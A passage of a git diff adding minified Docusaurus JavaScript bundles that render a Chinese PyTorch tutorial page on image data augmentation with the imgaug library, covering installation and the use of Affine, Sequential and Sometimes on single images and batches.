20:53:14"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(e.h1,{id:"38-\u53ef\u89c6\u5316",children:"3.8 \u53ef\u89c6\u5316"}),"\n",(0,r.jsx)(e.p,{children:"\u5728PyTorch\u6df1\u5ea6\u5b66\u4e60\u4e2d\uff0c\u53ef\u89c6\u5316\u662f\u4e00\u4e2a\u53ef\u9009\u9879\uff0c\u6307\u7684\u662f\u67d0\u4e9b\u4efb\u52a1\u5728\u8bad\u7ec3\u5b8c\u6210\u540e\uff0c\u9700\u8981\u5bf9\u4e00\u4e9b\u5fc5\u8981\u7684\u5185\u5bb9\u8fdb\u884c\u53ef\u89c6\u5316\uff0c\u6bd4\u5982\u5206\u7c7b\u7684ROC\u66f2\u7ebf\uff0c\u5377\u79ef\u7f51\u7edc\u4e2d\u7684\u5377\u79ef\u6838\uff0c\u4ee5\u53ca\u8bad\u7ec3/\u9a8c\u8bc1\u8fc7\u7a0b\u7684\u635f\u5931\u51fd\u6570\u66f2\u7ebf\u7b49\u7b49\u3002\u5177\u4f53\u7684\u53ef\u89c6\u5316\u65b9\u6cd5\u53ef\u4ee5\u53c2\u8003\u7b2c\u4e03\u7ae0\u3002"})]})}function a(t={}){const{wrapper:e}={...(0,l.R)(),...t.components};return e?(0,r.jsx)(e,{...t,children:(0,r.jsx)(h,{...t})}):h(t)}}}]); \ No newline at end of file diff --git a/assets/js/db00fa99.c2abd159.js b/assets/js/db00fa99.c2abd159.js new file mode 100644 index 0000000..eeea3dc --- /dev/null +++ b/assets/js/db00fa99.c2abd159.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[312],{19682:(e,n,i)=>{i.d(n,{A:()=>a});const a=i.p+"assets/images/image_batch-8400bee4d354f2f028f8b1305d17eb32.png"},28453:(e,n,i)=>{i.d(n,{R:()=>r,x:()=>g});var a=i(96540);const s={},t=a.createContext(s);function r(e){const n=a.useContext(t);return a.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function g(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:r(e.components),a.createElement(t.Provider,{value:n},e.children)}},45838:(e,n,i)=>{i.d(n,{A:()=>a});const a=i.p+"assets/images/Lenna_original-191f4205cb913835ed5eff358d6fd526.png"},47803:(e,n,i)=>{i.d(n,{A:()=>a});const a=i.p+"assets/images/different_size-f7f9fbcd2a20b22d2aa6f13b010b1b00.png"},78966:(e,n,i)=>{i.r(n),i.d(n,{assets:()=>l,contentTitle:()=>g,default:()=>o,frontMatter:()=>r,metadata:()=>a,toc:()=>d});const a=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.5 \u6570\u636e\u589e\u5f3a-imgaug","title":"6.5 \u6570\u636e\u589e\u5f3a-imgaug.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.5 \u6570\u636e\u589e\u5f3a-imgaug.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.5 \u6570\u636e\u589e\u5f3a-imgaug","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.5 \u6570\u636e\u589e\u5f3a-imgaug","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.5 \u6570\u636e\u589e\u5f3a-imgaug.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3"},"next":{"title":"6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2"}}');var s=i(74848),t=i(28453);const r={},g="6.5 \u6570\u636e\u589e\u5f3a-imgaug.md",l={},d=[{value:"6.5.1 imgaug\u7b80\u4ecb\u548c\u5b89\u88c5",id:"651-imgaug\u7b80\u4ecb\u548c\u5b89\u88c5",level:2},{value:"6.5.1.1 imgaug\u7b80\u4ecb",id:"6511-imgaug\u7b80\u4ecb",level:3},{value:"6.5.1.2 imgaug\u7684\u5b89\u88c5",id:"6512-imgaug\u7684\u5b89\u88c5",level:3},{value:"conda",id:"conda",level:4},{value:"pip",id:"pip",level:4},{value:"6.5.2 imgaug\u7684\u4f7f\u7528",id:"652-imgaug\u7684\u4f7f\u7528",level:2},{value:"\u5355\u5f20\u56fe\u7247\u5904\u7406",id:"\u5355\u5f20\u56fe\u7247\u5904\u7406",level:3},{value:"\u5bf9\u6279\u6b21\u56fe\u7247\u8fdb\u884c\u5904\u7406",id:"\u5bf9\u6279\u6b21\u56fe\u7247\u8fdb\u884c\u5904\u7406",level:3},{value:"\u5bf9\u6279\u6b21\u7684\u56fe\u7247\u4ee5\u540c\u4e00\u79cd\u65b9\u5f0f\u5904\u7406",id:"\u5bf9\u6279\u6b21\u7684\u56fe\u7247\u4ee5\u540c\u4e00\u79cd\u65b9\u5f0f\u5904\u7406",level:4},{value:"\u5bf9\u6279\u6b21\u7684\u56fe\u7247\u5206\u90e8\u5206\u5904\u7406",id:"\u5bf9\u6279\u6b21\u7684\u56fe\u7247\u5206\u90e8\u5206\u5904\u7406",level:4},{value:"\u5bf9\u4e0d\u540c\u5927\u5c0f\u7684\u56fe\u7247\u8fdb\u884c\u5904\u7406",id:"\u5bf9\u4e0d\u540c\u5927\u5c0f\u7684\u56fe\u7247\u8fdb\u884c\u5904\u7406",level:3},{value:"6.5.3 imgaug\u5728PyTorch\u7684\u5e94\u7528",id:"653-imgaug\u5728pytorch\u7684\u5e94\u7528",level:2},{value:"6.5.4 \u603b\u7ed3",id:"654-\u603b\u7ed3",level:2},{value:"\u53c2\u8003\u8d44\u6599",id:"\u53c2\u8003\u8d44\u6599",level:2}];function m(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,t.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"65-\u6570\u636e\u589e\u5f3a-imgaugmd",children:"6.5 \u6570\u636e\u589e\u5f3a-imgaug.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:21"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(n.h1,{id:"65-\u6570\u636e\u589e\u5f3a-imgaug",children:"6.5 \u6570\u636e\u589e\u5f3a-imgaug"}),"\n",(0,s.jsxs)(n.p,{children:["\u5728\u673a\u5668\u5b66\u4e60/\u6df1\u5ea6\u5b66\u4e60\u4e2d\uff0c\u6211\u4eec\u7ecf\u5e38\u4f1a\u9047\u5230\u6a21\u578b\u8fc7\u62df\u5408\u7684\u95ee\u9898\uff0c\u4e3a\u4e86\u89e3\u51b3\u8fc7\u62df\u5408\u95ee\u9898\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u52a0\u5165\u6b63\u5219\u9879\u6216\u8005\u51cf\u5c11\u6a21\u578b\u5b66\u4e60\u53c2\u6570\u6765\u89e3\u51b3\uff0c\u4f46\u662f\u6700\u7b80\u5355\u7684\u907f\u514d\u8fc7\u62df\u5408\u7684\u65b9\u6cd5\u662f\u589e\u52a0\u6570\u636e\uff0c\u4f46\u662f\u5728\u8bb8\u591a\u573a\u666f\u6211\u4eec\u65e0\u6cd5\u83b7\u5f97\u5927\u91cf\u6570\u636e\uff0c\u4f8b\u5982\u533b\u5b66\u56fe\u50cf\u5206\u6790\u3002\u6570\u636e\u589e\u5f3a\u6280\u672f\u7684\u5b58\u5728\u662f\u4e3a\u4e86\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u8fd9\u662f\u9488\u5bf9\u6709\u9650\u6570\u636e\u95ee\u9898\u7684\u89e3\u51b3\u65b9\u6848\u3002\u6570\u636e\u589e\u5f3a\u4e00\u5957\u6280\u672f\uff0c\u53ef\u63d0\u9ad8\u8bad\u7ec3\u6570\u636e\u96c6\u7684\u5927\u5c0f\u548c\u8d28\u91cf\uff0c\u4ee5\u4fbf\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u5b83\u4eec\u6765\u6784\u5efa\u66f4\u597d\u7684\u6df1\u5ea6\u5b66\u4e60\u6a21\u578b\u3002\n\u5728\u8ba1\u7b97\u89c6\u89c9\u9886\u57df\uff0c\u751f\u6210\u589e\u5f3a\u56fe\u50cf\u76f8\u5bf9\u5bb9\u6613\u3002\u5373\u4f7f\u5f15\u5165\u566a\u58f0\u6216\u88c1\u526a\u56fe\u50cf\u7684\u4e00\u90e8\u5206\uff0c\u6a21\u578b\u4ecd\u53ef\u4ee5\u5bf9\u56fe\u50cf\u8fdb\u884c\u5206\u7c7b\uff0c\u6570\u636e\u589e\u5f3a\u6709\u4e00\u7cfb\u5217\u7b80\u5355\u6709\u6548\u7684\u65b9\u6cd5\u53ef\u4f9b\u9009\u62e9\uff0c\u6709\u4e00\u4e9b\u673a\u5668\u5b66\u4e60\u5e93\u6765\u8fdb\u884c\u8ba1\u7b97\u89c6\u89c9\u9886\u57df\u7684\u6570\u636e\u589e\u5f3a\uff0c\u6bd4\u5982\uff1aimgaug ",(0,s.jsx)(n.a,{href:"https://github.com/aleju/imgaug",children:"\u5b98\u7f51"}),"\u5b83\u5c01\u88c5\u4e86\u5f88\u591a\u6570\u636e\u589e\u5f3a\u7b97\u6cd5\uff0c\u7ed9\u5f00\u53d1\u8005\u63d0\u4f9b\u4e86\u65b9\u4fbf\u3002\u901a\u8fc7\u672c\u7ae0\u5185\u5bb9\uff0c\u60a8\u5c06\u5b66\u4f1a\u4ee5\u4e0b\u5185\u5bb9\uff1a"]}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"imgaug\u7684\u7b80\u4ecb\u548c\u5b89\u88c5"}),"\n",(0,s.jsx)(n.li,{children:"\u4f7f\u7528imgaug\u5bf9\u6570\u636e\u8fdb\u884c\u589e\u5f3a"}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"651-imgaug\u7b80\u4ecb\u548c\u5b89\u88c5",children:"6.5.1 imgaug\u7b80\u4ecb\u548c\u5b89\u88c5"}),"\n",(0,s.jsx)(n.h3,{id:"6511-imgaug\u7b80\u4ecb",children:"6.5.1.1 imgaug\u7b80\u4ecb"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"imgaug"}),"\u662f\u8ba1\u7b97\u673a\u89c6\u89c9\u4efb\u52a1\u4e2d\u5e38\u7528\u7684\u4e00\u4e2a\u6570\u636e\u589e\u5f3a\u7684\u5305\uff0c\u76f8\u6bd4\u4e8e",(0,s.jsx)(n.code,{children:"torchvision.transforms"}),"\uff0c\u5b83\u63d0\u4f9b\u4e86\u66f4\u591a\u7684\u6570\u636e\u589e\u5f3a\u65b9\u6cd5\uff0c\u56e0\u6b64\u5728\u5404\u79cd\u7ade\u8d5b\u4e2d\uff0c\u4eba\u4eec\u5e7f\u6cdb\u4f7f\u7528",(0,s.jsx)(n.code,{children:"imgaug"}),"\u6765\u5bf9\u6570\u636e\u8fdb\u884c\u589e\u5f3a\u64cd\u4f5c\u3002\u9664\u6b64\u4e4b\u5916\uff0cimgaug\u5b98\u65b9\u8fd8\u63d0\u4f9b\u4e86\u8bb8\u591a\u4f8b\u7a0b\u8ba9\u6211\u4eec\u5b66\u4e60\uff0c\u672c\u7ae0\u5185\u5bb9\u4ec5\u662f\u7b80\u4ecb\uff0c\u5e0c\u671b\u8d77\u5230\u629b\u7816\u5f15\u7389\u7684\u529f\u80fd\u3002"]}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsxs)(n.li,{children:["Github\u5730\u5740\uff1a",(0,s.jsx)(n.a,{href:"https://github.com/aleju/imgaug",children:"imgaug"})]}),"\n",(0,s.jsxs)(n.li,{children:["Readthedocs\uff1a",(0,s.jsx)(n.a,{href:"https://imgaug.readthedocs.io/en/latest/source/examples_basics.html",children:"imgaug"})]}),"\n",(0,s.jsxs)(n.li,{children:["\u5b98\u65b9\u63d0\u4f9bnotebook\u4f8b\u7a0b\uff1a",(0,s.jsx)(n.a,{href:"https://github.com/aleju/imgaug-doc/tree/master/notebooks",children:"notebook"})]}),"\n"]}),"\n",(0,s.jsx)(n.h3,{id:"6512-imgaug\u7684\u5b89\u88c5",children:"6.5.1.2 imgaug\u7684\u5b89\u88c5"}),"\n",(0,s.jsx)(n.p,{children:"imgaug\u7684\u5b89\u88c5\u65b9\u6cd5\u548c\u5176\u4ed6\u7684Python\u5305\u7c7b\u4f3c\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4ee5\u4e0b\u4e24\u79cd\u65b9\u5f0f\u8fdb\u884c\u5b89\u88c5"}),"\n",(0,s.jsx)(n.h4,{id:"conda",children:"conda"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-shell",children:"conda config --add channels conda-forge\nconda install imgaug\n"})}),"\n",(0,s.jsx)(n.h4,{id:"pip",children:"pip"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-shell",children:"# install imgaug either via pypi\n\npip install imgaug\n\n# install the latest version directly from github\n\npip install git+https://github.com/aleju/imgaug.git\n"})}),"\n",(0,s.jsx)(n.h2,{id:"652-imgaug\u7684\u4f7f\u7528",children:"6.5.2 imgaug\u7684\u4f7f\u7528"}),"\n",(0,s.jsx)(n.p,{children:"imgaug\u4ec5\u4ec5\u63d0\u4f9b\u4e86\u56fe\u50cf\u589e\u5f3a\u7684\u4e00\u4e9b\u65b9\u6cd5\uff0c\u4f46\u662f\u5e76\u672a\u63d0\u4f9b\u56fe\u50cf\u7684IO\u64cd\u4f5c\uff0c\u56e0\u6b64\u6211\u4eec\u9700\u8981\u4f7f\u7528\u4e00\u4e9b\u5e93\u6765\u5bf9\u56fe\u50cf\u8fdb\u884c\u5bfc\u5165\uff0c\u5efa\u8bae\u4f7f\u7528imageio\u8fdb\u884c\u8bfb\u5165\uff0c\u5982\u679c\u4f7f\u7528\u7684\u662fopencv\u8fdb\u884c\u6587\u4ef6\u8bfb\u53d6\u7684\u65f6\u5019\uff0c\u9700\u8981\u8fdb\u884c\u624b\u52a8\u6539\u53d8\u901a\u9053\uff0c\u5c06\u8bfb\u53d6\u7684BGR\u56fe\u50cf\u8f6c\u6362\u4e3aRGB\u56fe\u50cf\u3002\u9664\u6b64\u4ee5\u5916\uff0c\u5f53\u6211\u4eec\u7528PIL.Image\u8fdb\u884c\u8bfb\u53d6\u65f6\uff0c\u56e0\u4e3a\u8bfb\u53d6\u7684\u56fe\u7247\u6ca1\u6709shape\u7684\u5c5e\u6027\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\u5c06\u8bfb\u53d6\u5230\u7684img\u8f6c\u6362\u4e3anp.array()\u7684\u5f62\u5f0f\u518d\u8fdb\u884c\u5904\u7406\u3002\u56e0\u6b64\u5b98\u65b9\u7684\u4f8b\u7a0b\u4e2d\u4e5f\u662f\u4f7f\u7528imageio\u8fdb\u884c\u56fe\u7247\u8bfb\u53d6\u3002"}),"\n",(0,s.jsx)(n.h3,{id:"\u5355\u5f20\u56fe\u7247\u5904\u7406",children:"\u5355\u5f20\u56fe\u7247\u5904\u7406"}),"\n",(0,s.jsx)(n.p,{children:"\u5728\u8be5\u5355\u5143\uff0c\u6211\u4eec\u4ec5\u4ee5\u51e0\u79cd\u6570\u636e\u589e\u5f3a\u64cd\u4f5c\u4e3a\u4f8b\uff0c\u4e3b\u8981\u76ee\u7684\u662f\u6559\u4f1a\u5927\u5bb6\u5982\u4f55\u4f7f\u7528imgaug\u6765\u5bf9\u6570\u636e\u8fdb\u884c\u589e\u5f3a\u64cd\u4f5c\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:'import imageio\nimport imgaug as ia\n%matplotlib inline\n\n# \u56fe\u7247\u7684\u8bfb\u53d6\nimg = imageio.imread("./Lenna.jpg")\n\n# \u4f7f\u7528Image\u8fdb\u884c\u8bfb\u53d6\n# img = Image.open("./Lenna.jpg")\n# image = np.array(img)\n# ia.imshow(image)\n\n# \u53ef\u89c6\u5316\u56fe\u7247\nia.imshow(img)\n'})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:i(45838).A+"",width:"405",height:"353"})}),"\n",(0,s.jsxs)(n.p,{children:["\u73b0\u5728\u6211\u4eec\u5df2\u7ecf\u5f97\u5230\u4e86\u9700\u8981\u5904\u7406\u7684\u56fe\u7247\uff0c",(0,s.jsx)(n.code,{children:"imgaug"}),"\u5305\u542b\u4e86\u8bb8\u591a\u4ece",(0,s.jsx)(n.code,{children:"Augmenter"}),"\u7ee7\u627f\u7684\u6570\u636e\u589e\u5f3a\u7684\u64cd\u4f5c\u3002\u5728\u8fd9\u91cc\u6211\u4eec\u4ee5",(0,s.jsx)(n.code,{children:"Affine"}),"\u4e3a\u4f8b\u5b50\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"from imgaug import augmenters as iaa\n\n# \u8bbe\u7f6e\u968f\u673a\u6570\u79cd\u5b50\nia.seed(4)\n\n# \u5b9e\u4f8b\u5316\u65b9\u6cd5\nrotate = iaa.Affine(rotate=(-4,45))\nimg_aug = rotate(image=img)\nia.imshow(img_aug)\n"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:i(90515).A+"",width:"419",height:"368"})}),"\n",(0,s.jsxs)(n.p,{children:["\u8fd9\u662f\u5bf9\u4e00\u5f20\u56fe\u7247\u8fdb\u884c\u4e00\u79cd\u64cd\u4f5c\u65b9\u5f0f\uff0c\u4f46\u5b9e\u9645\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u53ef\u80fd\u5bf9\u4e00\u5f20\u56fe\u7247\u505a\u591a\u79cd\u6570\u636e\u589e\u5f3a\u5904\u7406\u3002\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u5c31\u9700\u8981\u5229\u7528",(0,s.jsx)(n.code,{children:"imgaug.augmenters.Sequential()"}),"\u6765\u6784\u9020\u6211\u4eec\u6570\u636e\u589e\u5f3a\u7684pipline\uff0c\u8be5\u65b9\u6cd5\u4e0e",(0,s.jsx)(n.code,{children:"torchvison.transforms.Compose()"}),"\u76f8\u7c7b\u4f3c\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"iaa.Sequential(children=None, # Augmenter\u96c6\u5408\n random_order=False, # \u662f\u5426\u5bf9\u6bcf\u4e2abatch\u4f7f\u7528\u4e0d\u540c\u987a\u5e8f\u7684Augmenter list\n name=None,\n deterministic=False,\n random_state=None)\n"})}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"# \u6784\u5efa\u5904\u7406\u5e8f\u5217\naug_seq = iaa.Sequential([\n iaa.Affine(rotate=(-25,25)),\n iaa.AdditiveGaussianNoise(scale=(10,60)),\n iaa.Crop(percent=(0,0.2))\n])\n# \u5bf9\u56fe\u7247\u8fdb\u884c\u5904\u7406\uff0cimage\u4e0d\u53ef\u4ee5\u7701\u7565\uff0c\u4e5f\u4e0d\u80fd\u5199\u6210images\nimage_aug = aug_seq(image=img)\nia.imshow(image_aug)\n"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:i(79401).A+"",width:"423",height:"363"})}),"\n",(0,s.jsx)(n.p,{children:"\u603b\u7684\u6765\u8bf4\uff0c\u5bf9\u5355\u5f20\u56fe\u7247\u5904\u7406\u7684\u65b9\u5f0f\u57fa\u672c\u76f8\u540c\uff0c\u6211\u4eec\u53ef\u4ee5\u6839\u636e\u5b9e\u9645\u9700\u6c42\uff0c\u9009\u62e9\u5408\u9002\u7684\u6570\u636e\u589e\u5f3a\u65b9\u6cd5\u6765\u5bf9\u6570\u636e\u8fdb\u884c\u5904\u7406\u3002"}),"\n",(0,s.jsx)(n.h3,{id:"\u5bf9\u6279\u6b21\u56fe\u7247\u8fdb\u884c\u5904\u7406",children:"\u5bf9\u6279\u6b21\u56fe\u7247\u8fdb\u884c\u5904\u7406"}),"\n",(0,s.jsx)(n.p,{children:"\u5728\u5b9e\u9645\u4f7f\u7528\u4e2d\uff0c\u6211\u4eec\u901a\u5e38\u9700\u8981\u5904\u7406\u66f4\u591a\u4efd\u7684\u56fe\u50cf\u6570\u636e\u3002\u6b64\u65f6\uff0c\u53ef\u4ee5\u5c06\u56fe\u5f62\u6570\u636e\u6309\u7167NHWC\u7684\u5f62\u5f0f\u6216\u8005\u7531\u5217\u8868\u7ec4\u6210\u7684HWC\u7684\u5f62\u5f0f\u5bf9\u6279\u91cf\u7684\u56fe\u50cf\u8fdb\u884c\u5904\u7406\u3002\u4e3b\u8981\u5206\u4e3a\u4ee5\u4e0b\u4e24\u90e8\u5206\uff0c\u5bf9\u6279\u6b21\u7684\u56fe\u7247\u4ee5\u540c\u4e00\u79cd\u65b9\u5f0f\u5904\u7406\u548c\u5bf9\u6279\u6b21\u7684\u56fe\u7247\u8fdb\u884c\u5206\u90e8\u5206\u5904\u7406\u3002"}),"\n",(0,s.jsx)(n.h4,{id:"\u5bf9\u6279\u6b21\u7684\u56fe\u7247\u4ee5\u540c\u4e00\u79cd\u65b9\u5f0f\u5904\u7406",children:"\u5bf9\u6279\u6b21\u7684\u56fe\u7247\u4ee5\u540c\u4e00\u79cd\u65b9\u5f0f\u5904\u7406"}),"\n",(0,s.jsxs)(n.p,{children:["\u5bf9\u4e00\u6279\u6b21\u7684\u56fe\u7247\u8fdb\u884c\u5904\u7406\u65f6\uff0c\u6211\u4eec\u53ea\u9700\u8981\u5c06\u5f85\u5904\u7406\u7684\u56fe\u7247\u653e\u5728\u4e00\u4e2a",(0,s.jsx)(n.code,{children:"list"}),"\u4e2d\uff0c\u5e76\u5c06\u51fd\u6570\u7684image\u6539\u4e3aimages\u5373\u53ef\u8fdb\u884c\u6570\u636e\u589e\u5f3a\u64cd\u4f5c\uff0c\u5177\u4f53\u5b9e\u9645\u64cd\u4f5c\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"images = [img,img,img,img,]\nimages_aug = rotate(images=images)\nia.imshow(np.hstack(images_aug))\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u6211\u4eec\u5c31\u53ef\u4ee5\u5f97\u5230\u5982\u4e0b\u7684\u5c55\u793a\u6548\u679c\uff1a"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.img,{src:i(19682).A+"",width:"968",height:"266"}),"\n\u5728\u4e0a\u8ff0\u7684\u4f8b\u5b50\u4e2d\uff0c\u6211\u4eec\u4ec5\u4ec5\u5bf9\u56fe\u7247\u8fdb\u884c\u4e86\u4eff\u5c04\u53d8\u6362\uff0c\u540c\u6837\u7684\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u5bf9\u6279\u6b21\u7684\u56fe\u7247\u4f7f\u7528\u591a\u79cd\u589e\u5f3a\u65b9\u6cd5\uff0c\u4e0e\u5355\u5f20\u56fe\u7247\u7684\u65b9\u6cd5\u7c7b\u4f3c\uff0c\u6211\u4eec\u540c\u6837\u9700\u8981\u501f\u52a9",(0,s.jsx)(n.code,{children:"Sequential"}),"\u6765\u6784\u9020\u6570\u636e\u589e\u5f3a\u7684pipline\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"aug_seq = iaa.Sequential([\n iaa.Affine(rotate=(-25, 25)),\n iaa.AdditiveGaussianNoise(scale=(10, 60)),\n iaa.Crop(percent=(0, 0.2))\n])\n\n# \u4f20\u5165\u65f6\u9700\u8981\u6307\u660e\u662fimages\u53c2\u6570\nimages_aug = aug_seq.augment_images(images = images)\n#images_aug = aug_seq(images = images) \nia.imshow(np.hstack(images_aug))\n"})}),"\n",(0,s.jsx)(n.h4,{id:"\u5bf9\u6279\u6b21\u7684\u56fe\u7247\u5206\u90e8\u5206\u5904\u7406",children:"\u5bf9\u6279\u6b21\u7684\u56fe\u7247\u5206\u90e8\u5206\u5904\u7406"}),"\n",(0,s.jsxs)(n.p,{children:["imgaug\u76f8\u8f83\u4e8e\u5176\u4ed6\u7684\u6570\u636e\u589e\u5f3a\u7684\u5e93\uff0c\u6709\u4e00\u4e2a\u5f88\u6709\u610f\u601d\u7684\u7279\u6027\uff0c\u5373\u5c31\u662f\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7",(0,s.jsx)(n.code,{children:"imgaug.augmenters.Sometimes()"}),"\u5bf9batch\u4e2d\u7684\u4e00\u90e8\u5206\u56fe\u7247\u5e94\u7528\u4e00\u90e8\u5206Augmenters,\u5269\u4e0b\u7684\u56fe\u7247\u5e94\u7528\u53e6\u5916\u7684Augmenters\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"iaa.Sometimes(p=0.5, # \u4ee3\u8868\u5212\u5206\u6bd4\u4f8b\n then_list=None, # Augmenter\u96c6\u5408\u3002p\u6982\u7387\u7684\u56fe\u7247\u8fdb\u884c\u53d8\u6362\u7684Augmenters\u3002\n else_list=None, #1-p\u6982\u7387\u7684\u56fe\u7247\u4f1a\u88ab\u8fdb\u884c\u53d8\u6362\u7684Augmenters\u3002\u6ce8\u610f\u53d8\u6362\u7684\u56fe\u7247\u5e94\u7528\u7684Augmenter\u53ea\u80fd\u662fthen_list\u6216\u8005else_list\u4e2d\u7684\u4e00\u4e2a\u3002\n name=None,\n deterministic=False,\n 